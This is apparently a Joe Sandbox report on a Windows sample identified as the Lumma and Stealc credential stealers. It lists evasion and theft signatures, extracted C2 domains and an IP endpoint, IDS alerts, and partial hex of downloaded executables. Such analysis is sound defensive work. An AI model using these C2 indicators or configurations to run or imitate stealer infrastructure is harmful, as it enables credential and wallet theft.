Edit tour

Windows Analysis Report
s31ydU1MpQ.exe

Overview

General Information

Sample name:	s31ydU1MpQ.exe renamed because original name is a hash value
Original sample name:	d96503971b338f5b4db28e9f306a1fad.exe
Analysis ID:	1579679
MD5:	d96503971b338f5b4db28e9f306a1fad
SHA1:	2b75e6f5537b01ae1fdc43fbc666b4cb300e50cc
SHA256:	c1ddf685bda82f05dd6c3730103fcd0c7bba4d2ef14fcca5e57c622db31873b5
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

s31ydU1MpQ.exe (PID: 6440 cmdline: "C:\Users\user\Desktop\s31ydU1MpQ.exe" MD5: D96503971B338F5B4DB28E9F306A1FAD)

HXPC21YC8H3Q6AWWXLQHI1I.exe (PID: 792 cmdline: "C:\Users\user~1\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe" MD5: 97B29CE33CCFE8A2B642BD236A0DD337)

BGXAMSUR4L24WR8IH77.exe (PID: 484 cmdline: "C:\Users\user~1\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe" MD5: 880F67C30D6C2335273B27DF0004F500)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["sweepyribs.lat", "rapeflowwj.lat", "aspecteirs.lat", "necklacebudi.lat", "sustainskelet.lat", "grannyejh.lat", "energyaffai.lat", "crosshuaht.lat", "discokeyus.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1415425762.000000000131C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1415661013.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1415818290.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1367343816.0000000001319000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.1623078762.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1415450918.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1683875991.000000000103E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.1681988687.0000000000681000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: s31ydU1MpQ.exe PID: 6440	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: s31ydU1MpQ.exe PID: 6440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: s31ydU1MpQ.exe PID: 6440	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BGXAMSUR4L24WR8IH77.exe PID: 484	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: BGXAMSUR4L24WR8IH77.exe PID: 484	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.s31ydU1MpQ.exe.12c3191.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.3.s31ydU1MpQ.exe.12c3191.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe, ParentCommandLine: "C:\Users\user\Desktop\s31ydU1MpQ.exe", ParentImage: C:\Users\user\Desktop\s31ydU1MpQ.exe, ParentProcessId: 6440, ParentProcessName: s31ydU1MpQ.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe", ProcessId: 792, ProcessName: HXPC21YC8H3Q6AWWXLQHI1I.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:22.472830+0100	2028371	3	Unknown Traffic	192.168.2.7	49699	23.55.153.106	443	TCP
2024-12-23T07:28:24.869511+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	104.21.66.86	443	TCP
2024-12-23T07:28:27.036597+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	104.21.66.86	443	TCP
2024-12-23T07:28:29.385567+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	104.21.66.86	443	TCP
2024-12-23T07:28:31.914997+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	104.21.66.86	443	TCP
2024-12-23T07:28:34.236403+0100	2028371	3	Unknown Traffic	192.168.2.7	49715	104.21.66.86	443	TCP
2024-12-23T07:28:36.673170+0100	2028371	3	Unknown Traffic	192.168.2.7	49722	104.21.66.86	443	TCP
2024-12-23T07:28:39.233426+0100	2028371	3	Unknown Traffic	192.168.2.7	49730	104.21.66.86	443	TCP
2024-12-23T07:28:43.182108+0100	2028371	3	Unknown Traffic	192.168.2.7	49742	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:25.605076+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	104.21.66.86	443	TCP
2024-12-23T07:28:27.807411+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49701	104.21.66.86	443	TCP
2024-12-23T07:28:43.974798+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49742	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:25.605076+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49700	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:27.807411+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49701	104.21.66.86	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:45.444837+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49748	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:20.329057+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.7	64003	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:20.635972+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.7	64239	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:19.766786+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.7	49990	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:20.129100+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.7	61904	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:19.625916+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.7	63520	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:19.985954+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.7	57623	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:20.776368+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.7	61568	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:20.470869+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.7	64113	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:19.481170+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.7	61005	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:32.763603+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49709	104.21.66.86	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:29:00.384383+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49779	185.215.113.206	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:28:23.261168+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	49699	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: s31ydU1MpQ.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: BGXAMSUR4L24WR8IH77.exe.484.11.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: s31ydU1MpQ.exe.6440.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["sweepyribs.lat", "rapeflowwj.lat", "aspecteirs.lat", "necklacebudi.lat", "sustainskelet.lat", "grannyejh.lat", "energyaffai.lat", "crosshuaht.lat", "discokeyus.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: s31ydU1MpQ.exe	Virustotal: Detection: 52%			Perma Link
Source: s31ydU1MpQ.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: s31ydU1MpQ.exe

Joe Sandbox ML: detected

Source: s31ydU1MpQ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.7:49742 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: HXPC21YC8H3Q6AWWXLQHI1I.exe, 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.7:61005 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.7:64113 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.7:61568 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.7:64003 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.7:49990 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.7:57623 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.7:64239 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.7:63520 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.7:61904 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49779 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:49699 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49700 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49709 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49701 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49701 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49742 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: discokeyus.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 06:28:44 GMTContent-Type: application/octet-streamContent-Length: 2845696Last-Modified: Mon, 23 Dec 2024 06:14:51 GMTConnection: keep-aliveETag: "6768ffdb-2b6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6e 72 78 65 63 62 76 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 61 79 6a 72 67 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 06:28:49 GMTContent-Type: application/octet-streamContent-Length: 2907648Last-Modified: Mon, 23 Dec 2024 06:16:47 GMTConnection: keep-aliveETag: "6769004f-2c5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 77 71 75 66 6e 73 6b 00 c0 2a 00 00 c0 24 00 00 bc 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 